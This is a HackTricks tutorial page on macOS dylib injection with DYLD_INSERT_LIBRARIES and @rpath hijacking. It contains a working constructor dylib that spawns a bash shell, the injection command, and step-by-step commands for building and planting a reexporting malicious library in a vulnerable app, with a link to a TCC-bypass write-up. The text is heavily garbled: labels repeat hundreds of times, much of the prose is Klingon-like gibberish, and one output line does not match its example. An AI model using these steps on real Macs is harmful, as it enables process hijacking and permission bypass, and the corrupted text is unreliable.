24 KiB
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
DYLD_INSERT_LIBRARIES Basic example
Library to inject to execute a shell:
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to attack:
Binary to
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
Injection:
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
Dyld Hijacking Example
The targeted vulnerable binary is /Applications/VulnDyld.app/Contents/Resources/lib/binary.
{% tabs %} {% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
{% endtab %}
{% tab title="LC_RPATH" %} {% code overflow="wrap" %}
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
{% endcode %} {% endtab %}
{% tab title="@rpath" %} {% code overflow="wrap" %}
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
{% code %} {% endcode %} {% endtab %} {% endtabs %}
QaparHa' vItlhutlh ghItlh lo'laHbe' ghItlh 'e' lo'laHbe':
/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib
'ej, wa' lo'laHbe' pagh jatlh:
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
So, vItlhutlh! yItlhutlh arbitrary code 'ej exports the same functionalities as the legit library by reexporting it. 'ej jatlhqa'laHbe'lu'pu' ghaH 'ej vItlhutlhDaq vItlhutlhlaHbe'lu'pu' ghaH:
{% code title="lib.m" %}
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
{% endcode %}
QaSuvtaHvIS:
{% code overflow="wrap" %}
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
{% endcode %}
reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
{% code overflow="wrap" %}
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
{% endcode %}
Qapla'! jatlhpu' Hijacked choH:
{% code overflow="wrap" %}
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
{% endcode %}
'ej execute the binary 'ej check the library was loaded:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]
{% hint style="info" %} A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ {% endhint %}
Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the /bin/bash execution).
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
htARTE (HackTricks AWS Red Team Expert) !HackTricks!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.